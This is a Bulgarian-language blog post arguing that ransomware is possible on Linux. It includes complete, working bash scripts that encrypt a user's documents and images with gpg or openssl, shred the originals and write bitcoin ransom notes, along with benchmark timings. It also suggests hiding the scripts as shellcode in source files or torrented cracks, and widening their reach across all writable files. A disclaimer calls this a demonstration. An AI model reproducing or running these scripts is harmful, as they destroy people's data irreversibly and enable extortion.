Tag Archives: openssl

Ransomware в Linux – възможно ли е?

МОЛЯ, ИМАЙТЕ ПРЕДВИД, ЧЕ АКО ИЗПРОБВАТЕ ПОКАЗАНИТЕ ТУК КОМАНДИ Е МНОГО ВЕРОЯТНО ТОВА ДА ДОВЕДЕ ДО БЕЗВЪЗВРАТНА ЗАГУБА НА ФАЙЛОВЕТЕ ВИ! АКО ВСЕ ПАК СТЕ РЕШИЛИ ДА ИЗПРОБВАТЕ НЕЩО ОТ ПОКАЗАНОТО ТУК – ПРАВЕТЕ ГО ИЗЦЯЛО НА СВОЙ РИСК И ОТГОВОРНОСТ! ВСИЧКО, ПОКАЗАНО ТУК Е С ДЕМОНСТРАЦИОННА ЦЕЛ! АВТОРЪТ НЕ НОСИ НИКАКВА ОТГОВОРНОСТ ЗА КАКВИТО И ДА Е ВРЕДИ И/ИЛИ ПОВРЕДИ – РЕАЛНИ ИЛИ ВЪОБРАЖАЕМИ, НАСТЪПИЛИ В РЕЗУЛТАТ НА ИЗПОЛЗВАНЕТО НА ПОКАЗАНАТА ТУК ИНФОРМАЦИЯ!!!

АКО ВСЕ ПАК РЕШИТЕ ДА ИЗПОРОБВАТЕ НЕЩО – ВИ СЪВЕТВАМ ДА ГО ПРАВИТЕ В ИЗОЛИРАНА ВИРТУАЛНА МАШИНА! 

Възможно ли е да има ransomware в Linux? Или…. мит ли е по-голямата сигурност, ако ползваме Linux за десктоп?

Отговорът е ДА. Възможно е. Самият Линукс разполага с необходимите инструменти, с които може да се извърши криптирането на файловете. А как ще се задейства това – е въпрос на избор на този, който реши да създаде ransomware за Linux.

Покрай WannaCry паниката, която е напълно излишна (защото нито е първи, нито ще е последен ransomware) се породиха много спорове из форумите как видите ли – Виндовс бил уязвим, ама за Линукс нямало никакъв риск, защото тези неща не вървели не Линукс….

Както вече стана ясно – WannaCry работи перфектно и на Линукс, стига да имате Wine. А то почти всеки има ?

Възможно ли е да се направи нещо подобно и на Линукс? Разбира се.

Та, един пример:

for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’); do echo “1234” | gpg –batch –no-tty –yes –passphrase-fd 0 -c -o $f.enc $f; done

И за да кажем как да ни платят, и да сме истински хакери, като омажем максимално оригиналните файлове:

for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’); do echo “1234” | gpg –batch –no-tty –yes –passphrase-fd 0 -c -o $f.enc $f; shred $f; echo “Send 10000 bitcoins to get your data back”>$f; done

Вместо gpg може да ползеаме openssl, ето един примерен и изключително прост bash скрипт, който върши перфектна работа:

#!/bin/bash

ENCRYPT=`tr -dc A-Za-z0-9_ < /dev/urandom | head -c 150 | xargs`

for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’ -or -name ‘*.jpeg’ -or -name ‘*.pdf’ -or -name ‘*.doc’ -or -name ‘*.docx’);

do openssl des3 -k $ENCRYPT -in $f -out $f.encrypted; shred $f;

echo “Send 0.4 bitcoins to get your data back: 1G9Emf3VRMrm1pZEzFs6ZqAwHdUuijJ4Et ” > $f;

done

echo $ENCRYPT > PRIVATE.KEY

Декриптиране – в случай, че имаме паролата:

#!/bin/bash

DECRYPT=`cat PRIVATE.KEY` 

for f in $(find ~/ -name ‘*.encrypted’); 

do 

openssl des3 -k $DECRYPT -d -in $f -out ${f%.*}; 

rm $f; 

done

Последното ще работи само и единствено ако имаме паролата.

като след find-а може да има колкто си искаме *.нещоси, като и накрая като се добави едно rm $f, или за да сме още по-зли: shred $f;

Това нещо ще криптира всички *.txt., *.jpg, *.png файлове. Този списък може да се разшири до безкрайност.

Това чудо например се преобразува в shellcode, набутва се в накой дълъг .c файл, който е част от някаква програмка, която потребителят ще се излъже да комилира и стартира, и… стават чудеса

Друг вариант е да се изсипе чрез някой торент – напр. като крак, като keygen, като част от някаква програмка… варианти има хиляди.

Едно стартиране, и файловете са криптирани безвъзвратно…

Как ще се подаде паролата (в случая – 1234) и дали по някакъв начин скрипта ще я вземе “отвън”, ще я генерира на момента (напр. tr -dc A-Za-z0-9_ < /dev/urandom | head -c 150 | xargs) и ще я изпрати към външен сървър, за да я съхранява там – вариантите пак са много.

Скрипт, използващ gpg:

#!/bin/bash

ENCRYPT=`tr -dc A-Za-z0-9_ < /dev/urandom | head -c 150 | xargs`
for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’); do echo $ENCRYPT | gpg –batch –no-tty –yes –passphrase-fd 0 -c -o $f.enc $f; shred $f; echo “Send 10000 bitcoins to get your data back”>$f; done
echo “$ENCRYPT”>PRIVATE.KEY;

Ако ще пробвате нещо – ключа се записва в PRIVATE.KEY в текущата директория. Декриптиранрто става по обратен ред, именно:

PW=`cat PRIVATE.KEY`

echo $PW | gpg –batch –no-tty –yes –passphrase-fd 0 -d -o original-decrypted-file.txt encrypted-file.txt.enc

Та, в 90% от случаите не са виновни операционните системи, а хората които работят с тях. Защо ли? Да вземем за пример Виндовс:

Инсталират се основно пиратски версии, от Замунда. Първата работа на инсталиращия е да спре update-ите на Виндовса… познавам хора, които се мислят за особено големи разбирачи, и спират упдейтите дори на лицензен Виндовс, защото, цитирам: “закво са ми тия упдейти, само ми бавят компютъра”.

За Линукс пък заблудата е друга: че такива атаки там били невъзможни. Не, не са невъзможни а просто Линукс не е интересен за хакерите.

Това, което пишат масово по форуми и блогове – “инсталирайте си Линукс и ще забравите за вирусите” изобщо, ама изобщо не е така. Варианти винаги има! Дали нещо ще се изпълни през Wine, дали ще е забутано някъде – няма никакво значение. А на този криптиращ скрипт не му трябват никакви права – той ще си свърши работата в потребителската директория, а с малко тунинг (find / -writable) ще претърси цялата система за файлове, които са с права за писане за съответният потребител и ще ги омаже както си иска. Ако пък някой вземе, че го пусне с администраторски права…. става мазало. И ако нямаш паролата, за да изпълниш gpg -d $f.enc

Някой ще каже “ама аз може да нямам gpg”. Може бе, ама… мисля, че идеята е ясна.

С малко фантазия и няколко реда код могат да се сътворят такива бели, че после оправия да няма.

Всеки запален по Линукс твърди, че е недосегаем…. е, не съвсем.

Тъй като на някои места видях коментари, че ползването на urandom било “бавно”… не е съвсем бавно! urandom се ползва в случая само и единствено за генериране на 150-символна random парола. И повярвайте – става доста бързо…

gpg било бавно… ами ОК, ей го на и с openssl. Бавно бавно… колко да е бавно? Който мисли, че е бавно – да си създаде един потребител в линукса, и да му напъли home директорията с разни снимки и документи, пък да тества ?  1.1GB данни (снимки + текстови файлове):

с gpg:

time ./encrypt.sh
real 0m23.455s

user 0m10.700s

sys 0m0.937s

с openssl:

time ./openssh.sh
real 0m10.663s

user 0m1.257s

sys 0m0.561s

1.1GB за 23 секунди в пъряия случай, и за 10 – във втория. Не мисля, че е много бавно.

Ама било нямало как да се разпространи – не ми е това идеята, иначе повярвайте – може. Всичко може.  Просто не искам да го правя, защото няма смисъл.